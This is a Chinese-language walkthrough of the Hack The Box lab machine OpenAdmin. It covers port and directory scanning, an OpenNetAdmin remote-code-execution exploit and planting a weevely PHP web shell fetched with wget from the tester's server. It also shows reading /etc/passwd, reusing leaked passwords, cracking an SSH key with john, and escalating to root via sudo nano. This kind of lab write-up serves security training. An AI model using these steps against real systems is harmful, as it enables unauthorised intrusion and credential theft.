Hack The Box靶机 - OpenAdmin
0x00 目标
Kali: 10.10.16.242
靶机地址:10.10.10.171
目标:user blood and root blood
0x01 信息收集
端口:
使用 nmap 对目标进行端口扫描:
开放端口:22、80
说明开放 ssh 和 web。
常规渗透通常从 web 先入手。
尝试访问 http://10.10.10.171:80,初始页面显示 apache,暂无用处。
web 目录:
尝试爆破 web 目录,使用 DirBuster。
存在目录:
/icons
# 403
/artwork
# 一些普通页面
/music
# 一些普通页面,加上 login(ona)
/ona opennetadmin 主机管理系统
从而知道了 web 搭建了 OpenNetAdmin 主机管理系统。
0x02 渗透过程
webshell:
由 http://10.10.10.171/ona/ 看到版本号为 v18.1.1。
到这里可以尝试登陆看看有没有弱口令。
但是国外的靶机不太清楚 opennetadmin 具体能做什么。
所以由已知的 OpenNetAdmin 可以用 searchsploit 或者 msf 来找 exp。
尝试用 msf 没有找到对应的 exp。
用 searchsploit 找到了远程命令执行。
searchsploit opennetadmin
searchsploit -m 47691
# 将该exp文件拿到到当前目录
vim 47691.sh
exp 设置好登陆的 url 就可以直接打了。
莫名原因 exp 不能直接用报错,拿出来修改到另一个.sh 文件里可以执行命令了。
这里用 weevely 先做下权限维持。生成了一个 cmd.php 的一句话通过 wget 放到 web 根目录。
weevely generate xxx cmd.php
# 生成password为xxx的一句话
python3 -m http.server
# 搭建临时http服务器传输文件,默认端口8000
wget http://10.10.16.242:8000/cmd.php
提升权限:
现在已经有了 webshell, 但是权限是 www-data,想要获得更高的权限需要进行其他尝试。
尝试用 cat /etc/passwd
读到两个存在的低权限用户名:
jimmy
joanna
尝试去找数据库的密码,最终在 /opt/ona/www/local/config/database_settings.inc.php 找到数据库账号密码:
ona_sys
n1nj4W4rri0R!
尝试登陆数据库失败。
jimmy 用户:
想到还有个 22 端口,于是尝试拿数据库密码跑下两个账号。没想到 jimmy 账号登录进去了。
但是在她的 home 目录下没有找到 user.txt。猜测是在 joanna 下面,但是没有权限进。
找到了 /var/www/
目录下,发现有几个目录,猜测这个是多站点,但是有的目录没有访问权限。
/var/www/internal
目录下的几个文件倒是有权限访问。可以看下具体是什么功能的 php 脚本。
首先看到 index.php,这个登录验证直接告诉了我们账号密码是什么。继续扩大密码池。再跑遍 joanna 看能不能直接直接登录上去,未果。
jimmy
Revealed
再看下 main.php。找到有用的了,看代码可以看到通过 cat /home/joanna/.ssh/id_rsa
获取 joanna 用户的密钥。现在需要想把运行这个 main.php。
尝试 php main.php
发现权限不足。
还有一个 x.php,尝试 php main.php
发现也是权限不足。
并提示了一段文字。
没搞懂什么意思。。。
<pre></pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
joanna 用户:
整理下思路,现在查看这个目录也有几个 php 文件,并且可能通过他得到 joanna 用户的密钥,我们就可以获得 flag,还有用户权限。
我们知道之前 webshell 的根目录是 /opt/ona/www
,而这个目录的路径是 /var/www/internal
。可能存在多个站点。
多个站点肯定对应不同的端口,所以这里我查了下端口。
netstat -aptn
看到本地开放了
3306、52846
二其他的端口可以直接访问到,这两个端口只能在当前内网状态才能访问。
又想到 curl 可以直接在命令行下请求 url 页面。我们可以不尝试流量代理到本地,直接用 curl 看看有没有回显。
果不其然,得到了 joanna 的密钥,尝试另一个 x.php 获取不到 root.txt,只能接下来看看怎么搞了。
通过命令密钥 ssh 连接:
chmod 600 is_rsa
ssh -i is_rsa [email protected]
还是需要密码。。。有点无语。
那么可以尝试破解密钥,破解密钥可以用 john,转换 john 的格式,然后再爆破:
python /usr/share/john/ssh2john.py is_rsa > ssh_is_rsa
# 这里可以用kali自带的rock字典
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_is_rsa
获得到密码,原来那个 ninja
还真是个提示:
bloodninjas
至此登录上 joanna 用户并且获取到一个 flag。
提权读 root.txt
最后就剩下一个 root.txt 获取最后一个 flag 并且提权,看说明那应该就是需要有 root 权限去读文件。
这里直接用 sudo 拿下了,原理就是 sudo 配置运行的部分命令可以不用密码验证。
通过 sudo -l
查看允许的命令。
nano 是一款编辑器,这里我们可以直接通过读取 /root/root.txt。
nano 的用法:
ctrl+R: 从其他档案读入资料,可以将某个档案的内容贴在本档案中
sudo /bin/nano /opt/priv
ctrl + r
/root/root.txt
到此拿到了所有的 flag。并且获取到了几个用户的权限。
编辑器有 sudo 权限,那自然也可以读 /etc/shadow
。